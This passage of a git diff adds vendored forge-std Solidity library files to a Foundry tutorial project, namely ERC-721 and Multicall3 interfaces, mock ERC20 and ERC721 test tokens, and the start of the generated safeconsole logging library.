+    /// @notice Burns exactly shares from owner and sends assets of underlying tokens to receiver.
+    /// @dev
+    /// - MUST emit the Withdraw event.
+    /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the
+    ///   redeem execution, and are accounted for during redeem.
+    /// - MUST revert if all of shares cannot be redeemed (due to withdrawal limit being reached, slippage, the owner
+    ///   not having enough shares, etc).
+    ///
+    /// NOTE: some implementations will require pre-requesting to the Vault before a withdrawal may be performed.
+    /// Those methods should be performed separately.
+    function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC721.sol b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC721.sol
new file mode 100644
index 000000000..248830867
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC721.sol
@@ -0,0 +1,162 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+import './IERC165.sol';
+
+/// @title ERC-721 Non-Fungible Token Standard
+/// @dev See https://eips.ethereum.org/EIPS/eip-721
+/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
+interface IERC721 is IERC165 {
+    /// @dev This emits when ownership of any NFT changes by any mechanism.
+    /// This event emits when NFTs are created (`from` == 0) and destroyed
+    /// (`to` == 0). Exception: during contract creation, any number of NFTs
+    /// may be created and assigned without emitting Transfer. At the time of
+    /// any transfer, the approved address for that NFT (if any) is reset to none.
+    event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
+
+    /// @dev This emits when the approved address for an NFT is changed or
+    /// reaffirmed. The zero address indicates there is no approved address.
+    /// When a Transfer event emits, this also indicates that the approved
+    /// address for that NFT (if any) is reset to none.
+    event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
+
+    /// @dev This emits when an operator is enabled or disabled for an owner.
+    /// The operator can manage all NFTs of the owner.
+    event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
+
+    /// @notice Count all NFTs assigned to an owner
+    /// @dev NFTs assigned to the zero address are considered invalid, and this
+    /// function throws for queries about the zero address.
+    /// @param _owner An address for whom to query the balance
+    /// @return The number of NFTs owned by `_owner`, possibly zero
+    function balanceOf(address _owner) external view returns (uint256);
+
+    /// @notice Find the owner of an NFT
+    /// @dev NFTs assigned to zero address are considered invalid, and queries
+    /// about them do throw.
+    /// @param _tokenId The identifier for an NFT
+    /// @return The address of the owner of the NFT
+    function ownerOf(uint256 _tokenId) external view returns (address);
+
+    /// @notice Transfers the ownership of an NFT from one address to another address
+    /// @dev Throws unless `msg.sender` is the current owner, an authorized
+    /// operator, or the approved address for this NFT. Throws if `_from` is
+    /// not the current owner. Throws if `_to` is the zero address. Throws if
+    /// `_tokenId` is not a valid NFT. When transfer is complete, this function
+    /// checks if `_to` is a smart contract (code size > 0). If so, it calls
+    /// `onERC721Received` on `_to` and throws if the return value is not
+    /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
+    /// @param _from The current owner of the NFT
+    /// @param _to The new owner
+    /// @param _tokenId The NFT to transfer
+    /// @param data Additional data with no specified format, sent in call to `_to`
+    function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external payable;
+
+    /// @notice Transfers the ownership of an NFT from one address to another address
+    /// @dev This works identically to the other function with an extra data parameter,
+    /// except this function just sets data to "".
+    /// @param _from The current owner of the NFT
+    /// @param _to The new owner
+    /// @param _tokenId The NFT to transfer
+    function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
+
+    /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
+    /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
+    /// THEY MAY BE PERMANENTLY LOST
+    /// @dev Throws unless `msg.sender` is the current owner, an authorized
+    /// operator, or the approved address for this NFT. Throws if `_from` is
+    /// not the current owner. Throws if `_to` is the zero address. Throws if
+    /// `_tokenId` is not a valid NFT.
+    /// @param _from The current owner of the NFT
+    /// @param _to The new owner
+    /// @param _tokenId The NFT to transfer
+    function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
+
+    /// @notice Change or reaffirm the approved address for an NFT
+    /// @dev The zero address indicates there is no approved address.
+    /// Throws unless `msg.sender` is the current NFT owner, or an authorized
+    /// operator of the current owner.
+    /// @param _approved The new approved NFT controller
+    /// @param _tokenId The NFT to approve
+    function approve(address _approved, uint256 _tokenId) external payable;
+
+    /// @notice Enable or disable approval for a third party ("operator") to manage
+    /// all of `msg.sender`'s assets
+    /// @dev Emits the ApprovalForAll event. The contract MUST allow
+    /// multiple operators per owner.
+    /// @param _operator Address to add to the set of authorized operators
+    /// @param _approved True if the operator is approved, false to revoke approval
+    function setApprovalForAll(address _operator, bool _approved) external;
+
+    /// @notice Get the approved address for a single NFT
+    /// @dev Throws if `_tokenId` is not a valid NFT.
+    /// @param _tokenId The NFT to find the approved address for
+    /// @return The approved address for this NFT, or the zero address if there is none
+    function getApproved(uint256 _tokenId) external view returns (address);
+
+    /// @notice Query if an address is an authorized operator for another address
+    /// @param _owner The address that owns the NFTs
+    /// @param _operator The address that acts on behalf of the owner
+    /// @return True if `_operator` is an approved operator for `_owner`, false otherwise
+    function isApprovedForAll(address _owner, address _operator) external view returns (bool);
+}
+
+/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
+interface IERC721TokenReceiver {
+    /// @notice Handle the receipt of an NFT
+    /// @dev The ERC721 smart contract calls this function on the recipient
+    /// after a `transfer`. This function MAY throw to revert and reject the
+    /// transfer. Return of other than the magic value MUST result in the
+    /// transaction being reverted.
+    /// Note: the contract address is always the message sender.
+    /// @param _operator The address which called `safeTransferFrom` function
+    /// @param _from The address which previously owned the token
+    /// @param _tokenId The NFT identifier which is being transferred
+    /// @param _data Additional data with no specified format
+    /// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
+    ///  unless throwing
+    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
+}
+
+/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
+/// @dev See https://eips.ethereum.org/EIPS/eip-721
+/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
+interface IERC721Metadata is IERC721 {
+    /// @notice A descriptive name for a collection of NFTs in this contract
+    function name() external view returns (string memory _name);
+
+    /// @notice An abbreviated name for NFTs in this contract
+    function symbol() external view returns (string memory _symbol);
+
+    /// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
+    /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
+    /// 3986. The URI may point to a JSON file that conforms to the "ERC721
+    /// Metadata JSON Schema".
+    function tokenURI(uint256 _tokenId) external view returns (string memory);
+}
+
+/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
+/// @dev See https://eips.ethereum.org/EIPS/eip-721
+/// Note: the ERC-165 identifier for this interface is 0x780e9d63.
+interface IERC721Enumerable is IERC721 {
+    /// @notice Count NFTs tracked by this contract
+    /// @return A count of valid NFTs tracked by this contract, where each one of
+    /// them has an assigned and queryable owner not equal to the zero address
+    function totalSupply() external view returns (uint256);
+
+    /// @notice Enumerate valid NFTs
+    /// @dev Throws if `_index` >= `totalSupply()`.
+    /// @param _index A counter less than `totalSupply()`
+    /// @return The token identifier for the `_index`th NFT,
+    /// (sort order not specified)
+    function tokenByIndex(uint256 _index) external view returns (uint256);
+
+    /// @notice Enumerate NFTs assigned to an owner
+    /// @dev Throws if `_index` >= `balanceOf(_owner)` or if
+    /// `_owner` is the zero address, representing invalid NFTs.
+    /// @param _owner An address where we are interested in NFTs owned by them
+    /// @param _index A counter less than `balanceOf(_owner)`
+    /// @return The token identifier for the `_index`th NFT assigned to `_owner`,
+    /// (sort order not specified)
+    function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IMulticall3.sol b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IMulticall3.sol
new file mode 100644
index 000000000..1d752df66
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IMulticall3.sol
@@ -0,0 +1,64 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+interface IMulticall3 {
+    struct Call {
+        address target;
+        bytes callData;
+    }
+
+    struct Call3 {
+        address target;
+        bool allowFailure;
+        bytes callData;
+    }
+
+    struct Call3Value {
+        address target;
+        bool allowFailure;
+        uint256 value;
+        bytes callData;
+    }
+
+    struct Result {
+        bool success;
+        bytes returnData;
+    }
+
+    function aggregate(Call[] calldata calls) external payable returns (uint256 blockNumber, bytes[] memory returnData);
+
+    function aggregate3(Call3[] calldata calls) external payable returns (Result[] memory returnData);
+
+    function aggregate3Value(Call3Value[] calldata calls) external payable returns (Result[] memory returnData);
+
+    function blockAndAggregate(Call[] calldata calls) external payable returns (uint256 blockNumber, bytes32 blockHash, Result[] memory returnData);
+
+    function getBasefee() external view returns (uint256 basefee);
+
+    function getBlockHash(uint256 blockNumber) external view returns (bytes32 blockHash);
+
+    function getBlockNumber() external view returns (uint256 blockNumber);
+
+    function getChainId() external view returns (uint256 chainid);
+
+    function getCurrentBlockCoinbase() external view returns (address coinbase);
+
+    function getCurrentBlockDifficulty() external view returns (uint256 difficulty);
+
+    function getCurrentBlockGasLimit() external view returns (uint256 gaslimit);
+
+    function getCurrentBlockTimestamp() external view returns (uint256 timestamp);
+
+    function getEthBalance(address addr) external view returns (uint256 balance);
+
+    function getLastBlockHash() external view returns (bytes32 blockHash);
+
+    function tryAggregate(bool requireSuccess, Call[] calldata calls) external payable returns (Result[] memory returnData);
+
+    function tryBlockAndAggregate(
+        bool requireSuccess,
+        Call[] calldata calls
+    ) external payable returns (uint256 blockNumber, bytes32 blockHash, Result[] memory returnData);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/mocks/MockERC20.sol b/basic/41-foundry/my_project/lib/forge-std/src/mocks/MockERC20.sol
new file mode 100644
index 000000000..3c8dc9151
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/mocks/MockERC20.sol
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {IERC20} from '../interfaces/IERC20.sol';
+
+/// @notice This is a mock contract of the ERC20 standard for testing purposes only, it SHOULD NOT be used in production.
+/// @dev Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC20.sol
+contract MockERC20 is IERC20 {
+    /*//////////////////////////////////////////////////////////////
+                            METADATA STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    string internal _name;
+
+    string internal _symbol;
+
+    uint8 internal _decimals;
+
+    function name() external view override returns (string memory) {
+        return _name;
+    }
+
+    function symbol() external view override returns (string memory) {
+        return _symbol;
+    }
+
+    function decimals() external view override returns (uint8) {
+        return _decimals;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                              ERC20 STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    uint256 internal _totalSupply;
+
+    mapping(address => uint256) internal _balanceOf;
+
+    mapping(address => mapping(address => uint256)) internal _allowance;
+
+    function totalSupply() external view override returns (uint256) {
+        return _totalSupply;
+    }
+
+    function balanceOf(address owner) external view override returns (uint256) {
+        return _balanceOf[owner];
+    }
+
+    function allowance(address owner, address spender) external view override returns (uint256) {
+        return _allowance[owner][spender];
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                            EIP-2612 STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    uint256 internal INITIAL_CHAIN_ID;
+
+    bytes32 internal INITIAL_DOMAIN_SEPARATOR;
+
+    mapping(address => uint256) public nonces;
+
+    /*//////////////////////////////////////////////////////////////
+                               INITIALIZE
+    //////////////////////////////////////////////////////////////*/
+
+    /// @dev A bool to track whether the contract has been initialized.
+    bool private initialized;
+
+    /// @dev To hide constructor warnings across solc versions due to different constructor visibility requirements and
+    /// syntaxes, we add an initialization function that can be called only once.
+    function initialize(string memory name_, string memory symbol_, uint8 decimals_) public {
+        require(!initialized, 'ALREADY_INITIALIZED');
+
+        _name = name_;
+        _symbol = symbol_;
+        _decimals = decimals_;
+
+        INITIAL_CHAIN_ID = _pureChainId();
+        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
+
+        initialized = true;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                               ERC20 LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function approve(address spender, uint256 amount) public virtual override returns (bool) {
+        _allowance[msg.sender][spender] = amount;
+
+        emit Approval(msg.sender, spender, amount);
+
+        return true;
+    }
+
+    function transfer(address to, uint256 amount) public virtual override returns (bool) {
+        _balanceOf[msg.sender] = _sub(_balanceOf[msg.sender], amount);
+        _balanceOf[to] = _add(_balanceOf[to], amount);
+
+        emit Transfer(msg.sender, to, amount);
+
+        return true;
+    }
+
+    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
+        uint256 allowed = _allowance[from][msg.sender]; // Saves gas for limited approvals.
+
+        if (allowed != ~uint256(0)) _allowance[from][msg.sender] = _sub(allowed, amount);
+
+        _balanceOf[from] = _sub(_balanceOf[from], amount);
+        _balanceOf[to] = _add(_balanceOf[to], amount);
+
+        emit Transfer(from, to, amount);
+
+        return true;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                             EIP-2612 LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
+        require(deadline >= block.timestamp, 'PERMIT_DEADLINE_EXPIRED');
+
+        address recoveredAddress = ecrecover(
+            keccak256(
+                abi.encodePacked(
+                    '\x19\x01',
+                    DOMAIN_SEPARATOR(),
+                    keccak256(
+                        abi.encode(
+                            keccak256('Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)'),
+                            owner,
+                            spender,
+                            value,
+                            nonces[owner]++,
+                            deadline
+                        )
+                    )
+                )
+            ),
+            v,
+            r,
+            s
+        );
+
+        require(recoveredAddress != address(0) && recoveredAddress == owner, 'INVALID_SIGNER');
+
+        _allowance[recoveredAddress][spender] = value;
+
+        emit Approval(owner, spender, value);
+    }
+
+    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
+        return _pureChainId() == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
+    }
+
+    function computeDomainSeparator() internal view virtual returns (bytes32) {
+        return
+            keccak256(
+                abi.encode(
+                    keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
+                    keccak256(bytes(_name)),
+                    keccak256('1'),
+                    _pureChainId(),
+                    address(this)
+                )
+            );
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        INTERNAL MINT/BURN LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function _mint(address to, uint256 amount) internal virtual {
+        _totalSupply = _add(_totalSupply, amount);
+        _balanceOf[to] = _add(_balanceOf[to], amount);
+
+        emit Transfer(address(0), to, amount);
+    }
+
+    function _burn(address from, uint256 amount) internal virtual {
+        _balanceOf[from] = _sub(_balanceOf[from], amount);
+        _totalSupply = _sub(_totalSupply, amount);
+
+        emit Transfer(from, address(0), amount);
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        INTERNAL SAFE MATH LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function _add(uint256 a, uint256 b) internal pure returns (uint256) {
+        uint256 c = a + b;
+        require(c >= a, 'ERC20: addition overflow');
+        return c;
+    }
+
+    function _sub(uint256 a, uint256 b) internal pure returns (uint256) {
+        require(a >= b, 'ERC20: subtraction underflow');
+        return a - b;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                                HELPERS
+    //////////////////////////////////////////////////////////////*/
+
+    // We use this complex approach of `_viewChainId` and `_pureChainId` to ensure there are no
+    // compiler warnings when accessing chain ID in any solidity version supported by forge-std. We
+    // can't simply access the chain ID in a normal view or pure function because the solc View Pure
+    // Checker changed `chainid` from pure to view in 0.8.0.
+    function _viewChainId() private view returns (uint256 chainId) {
+        // Assembly required since `block.chainid` was introduced in 0.8.0.
+        assembly {
+            chainId := chainid()
+        }
+
+        address(this); // Silence warnings in older Solc versions.
+    }
+
+    function _pureChainId() private pure returns (uint256 chainId) {
+        function() internal view returns (uint256) fnIn = _viewChainId;
+        function() internal pure returns (uint256) pureChainId;
+        assembly {
+            pureChainId := fnIn
+        }
+        chainId = pureChainId();
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/mocks/MockERC721.sol b/basic/41-foundry/my_project/lib/forge-std/src/mocks/MockERC721.sol
new file mode 100644
index 000000000..070aeff62
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/mocks/MockERC721.sol
@@ -0,0 +1,223 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {IERC721Metadata} from '../interfaces/IERC721.sol';
+
+/// @notice This is a mock contract of the ERC721 standard for testing purposes only, it SHOULD NOT be used in production.
+/// @dev Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC721.sol
+contract MockERC721 is IERC721Metadata {
+    /*//////////////////////////////////////////////////////////////
+                         METADATA STORAGE/LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    string internal _name;
+
+    string internal _symbol;
+
+    function name() external view override returns (string memory) {
+        return _name;
+    }
+
+    function symbol() external view override returns (string memory) {
+        return _symbol;
+    }
+
+    function tokenURI(uint256 id) public view virtual override returns (string memory) {}
+
+    /*//////////////////////////////////////////////////////////////
+                      ERC721 BALANCE/OWNER STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    mapping(uint256 => address) internal _ownerOf;
+
+    mapping(address => uint256) internal _balanceOf;
+
+    function ownerOf(uint256 id) public view virtual override returns (address owner) {
+        require((owner = _ownerOf[id]) != address(0), 'NOT_MINTED');
+    }
+
+    function balanceOf(address owner) public view virtual override returns (uint256) {
+        require(owner != address(0), 'ZERO_ADDRESS');
+
+        return _balanceOf[owner];
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                         ERC721 APPROVAL STORAGE
+    //////////////////////////////////////////////////////////////*/
+
+    mapping(uint256 => address) internal _getApproved;
+
+    mapping(address => mapping(address => bool)) internal _isApprovedForAll;
+
+    function getApproved(uint256 id) public view virtual override returns (address) {
+        return _getApproved[id];
+    }
+
+    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
+        return _isApprovedForAll[owner][operator];
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                               INITIALIZE
+    //////////////////////////////////////////////////////////////*/
+
+    /// @dev A bool to track whether the contract has been initialized.
+    bool private initialized;
+
+    /// @dev To hide constructor warnings across solc versions due to different constructor visibility requirements and
+    /// syntaxes, we add an initialization function that can be called only once.
+    function initialize(string memory name_, string memory symbol_) public {
+        require(!initialized, 'ALREADY_INITIALIZED');
+
+        _name = name_;
+        _symbol = symbol_;
+
+        initialized = true;
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                              ERC721 LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function approve(address spender, uint256 id) public payable virtual override {
+        address owner = _ownerOf[id];
+
+        require(msg.sender == owner || _isApprovedForAll[owner][msg.sender], 'NOT_AUTHORIZED');
+
+        _getApproved[id] = spender;
+
+        emit Approval(owner, spender, id);
+    }
+
+    function setApprovalForAll(address operator, bool approved) public virtual override {
+        _isApprovedForAll[msg.sender][operator] = approved;
+
+        emit ApprovalForAll(msg.sender, operator, approved);
+    }
+
+    function transferFrom(address from, address to, uint256 id) public payable virtual override {
+        require(from == _ownerOf[id], 'WRONG_FROM');
+
+        require(to != address(0), 'INVALID_RECIPIENT');
+
+        require(msg.sender == from || _isApprovedForAll[from][msg.sender] || msg.sender == _getApproved[id], 'NOT_AUTHORIZED');
+
+        // Underflow of the sender's balance is impossible because we check for
+        // ownership above and the recipient's balance can't realistically overflow.
+        _balanceOf[from]--;
+
+        _balanceOf[to]++;
+
+        _ownerOf[id] = to;
+
+        delete _getApproved[id];
+
+        emit Transfer(from, to, id);
+    }
+
+    function safeTransferFrom(address from, address to, uint256 id) public payable virtual override {
+        transferFrom(from, to, id);
+
+        require(
+            !_isContract(to) || IERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, '') == IERC721TokenReceiver.onERC721Received.selector,
+            'UNSAFE_RECIPIENT'
+        );
+    }
+
+    function safeTransferFrom(address from, address to, uint256 id, bytes memory data) public payable virtual override {
+        transferFrom(from, to, id);
+
+        require(
+            !_isContract(to) ||
+                IERC721TokenReceiver(to).onERC721Received(msg.sender, from, id, data) == IERC721TokenReceiver.onERC721Received.selector,
+            'UNSAFE_RECIPIENT'
+        );
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                              ERC165 LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
+        return
+            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
+            interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
+            interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        INTERNAL MINT/BURN LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function _mint(address to, uint256 id) internal virtual {
+        require(to != address(0), 'INVALID_RECIPIENT');
+
+        require(_ownerOf[id] == address(0), 'ALREADY_MINTED');
+
+        // Counter overflow is incredibly unrealistic.
+
+        _balanceOf[to]++;
+
+        _ownerOf[id] = to;
+
+        emit Transfer(address(0), to, id);
+    }
+
+    function _burn(uint256 id) internal virtual {
+        address owner = _ownerOf[id];
+
+        require(owner != address(0), 'NOT_MINTED');
+
+        _balanceOf[owner]--;
+
+        delete _ownerOf[id];
+
+        delete _getApproved[id];
+
+        emit Transfer(owner, address(0), id);
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                        INTERNAL SAFE MINT LOGIC
+    //////////////////////////////////////////////////////////////*/
+
+    function _safeMint(address to, uint256 id) internal virtual {
+        _mint(to, id);
+
+        require(
+            !_isContract(to) ||
+                IERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, '') == IERC721TokenReceiver.onERC721Received.selector,
+            'UNSAFE_RECIPIENT'
+        );
+    }
+
+    function _safeMint(address to, uint256 id, bytes memory data) internal virtual {
+        _mint(to, id);
+
+        require(
+            !_isContract(to) ||
+                IERC721TokenReceiver(to).onERC721Received(msg.sender, address(0), id, data) == IERC721TokenReceiver.onERC721Received.selector,
+            'UNSAFE_RECIPIENT'
+        );
+    }
+
+    /*//////////////////////////////////////////////////////////////
+                                HELPERS
+    //////////////////////////////////////////////////////////////*/
+
+    function _isContract(address _addr) private view returns (bool) {
+        uint256 codeLength;
+
+        // Assembly required for versions < 0.8.0 to check extcodesize.
+        assembly {
+            codeLength := extcodesize(_addr)
+        }
+
+        return codeLength > 0;
+    }
+}
+
+interface IERC721TokenReceiver {
+    function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/safeconsole.sol b/basic/41-foundry/my_project/lib/forge-std/src/safeconsole.sol
new file mode 100644
index 000000000..4137e29e0
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/safeconsole.sol
@@ -0,0 +1,15008 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+/// @author philogy <https://github.com/philogy>
+/// @dev Code generated automatically by script.
+library safeconsole {
+    uint256 constant CONSOLE_ADDR = 0x000000000000000000000000000000000000000000636F6e736F6c652e6c6f67;
+
+    // Credit to [0age](https://twitter.com/z0age/status/1654922202930888704) and [0xdapper](https://github.com/foundry-rs/forge-std/pull/374)
+    // for the view-to-pure log trick.
+    function _sendLogPayload(uint256 offset, uint256 size) private pure {
+        function(uint256, uint256) internal view fnIn = _sendLogPayloadView;
+        function(uint256, uint256) internal pure pureSendLogPayload;
+        assembly {
+            pureSendLogPayload := fnIn
+        }
+        pureSendLogPayload(offset, size);
+    }
+
+    function _sendLogPayloadView(uint256 offset, uint256 size) private view {
+        assembly {
+            pop(staticcall(gas(), CONSOLE_ADDR, offset, size, 0x0, 0x0))
+        }
+    }
+
+    function _memcopy(uint256 fromOffset, uint256 toOffset, uint256 length) private pure {
+        function(uint256, uint256, uint256) internal view fnIn = _memcopyView;
+        function(uint256, uint256, uint256) internal pure pureMemcopy;
+        assembly {
+            pureMemcopy := fnIn
+        }
+        pureMemcopy(fromOffset, toOffset, length);
+    }
+
+    function _memcopyView(uint256 fromOffset, uint256 toOffset, uint256 length) private view {
+        assembly {
+            pop(staticcall(gas(), 0x4, fromOffset, length, toOffset, length))
+        }
+    }
+
+    function logMemory(uint256 offset, uint256 length) internal pure {
+        if (offset >= 0x60) {
+            // Sufficient memory before slice to prepare call header.
+            bytes32 m0;
+            bytes32 m1;
+            bytes32 m2;
+            assembly {
+                m0 := mload(sub(offset, 0x60))
+                m1 := mload(sub(offset, 0x40))
+                m2 := mload(sub(offset, 0x20))
+                // Selector of `logBytes(bytes)`.
+                mstore(sub(offset, 0x60), 0xe17bf956)
+                mstore(sub(offset, 0x40), 0x20)
+                mstore(sub(offset, 0x20), length)
+            }
+            _sendLogPayload(offset - 0x44, length + 0x44);
+            assembly {
+                mstore(sub(offset, 0x60), m0)
+                mstore(sub(offset, 0x40), m1)
+                mstore(sub(offset, 0x20), m2)
+            }
+        } else {
+            // Insufficient space, so copy slice forward, add header and reverse.
+            bytes32 m0;
+            bytes32 m1;
+            bytes32 m2;
+            uint256 endOffset = offset + length;
+            assembly {
+                m0 := mload(add(endOffset, 0x00))
+                m1 := mload(add(endOffset, 0x20))
+                m2 := mload(add(endOffset, 0x40))
+            }
+            _memcopy(offset, offset + 0x60, length);
+            assembly {
+                // Selector of `logBytes(bytes)`.
+                mstore(add(offset, 0x00), 0xe17bf956)
+                mstore(add(offset, 0x20), 0x20)
+                mstore(add(offset, 0x40), length)
+            }
+            _sendLogPayload(offset + 0x1c, length + 0x44);
+            _memcopy(offset + 0x60, offset, length);
+            assembly {
+                mstore(add(endOffset, 0x00), m0)
+                mstore(add(endOffset, 0x20), m1)
+                mstore(add(endOffset, 0x40), m2)
+            }
+        }
+    }
+
+    function log(address p0) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            // Selector of `log(address)`.
+            mstore(0x00, 0x2c2ecbc2)
+            mstore(0x20, p0)
+        }
+        _sendLogPayload(0x1c, 0x24);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+        }
+    }
+
+    function log(bool p0) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            // Selector of `log(bool)`.
+            mstore(0x00, 0x32458eed)
+            mstore(0x20, p0)
+        }
+        _sendLogPayload(0x1c, 0x24);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+        }
+    }
+
+    function log(uint256 p0) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            // Selector of `log(uint256)`.
+            mstore(0x00, 0xf82c50f1)
+            mstore(0x20, p0)
+        }
+        _sendLogPayload(0x1c, 0x24);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+        }
+    }
+
+    function log(bytes32 p0) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            // Selector of `log(string)`.
+            mstore(0x00, 0x41304fac)
+            mstore(0x20, 0x20)
+            writeString(0x40, p0)
+        }
+        _sendLogPayload(0x1c, 0x64);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+        }
+    }
+
+    function log(address p0, address p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(address,address)`.
+            mstore(0x00, 0xdaf0d4aa)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(address p0, bool p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            // Selector of `log(address,bool)`.
+            mstore(0x00, 0x75b605d3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+        }
+        _sendLogPayload(0x1c, 0x44);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+        }
+    }
+
+    function log(address p0, uint256 p1) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
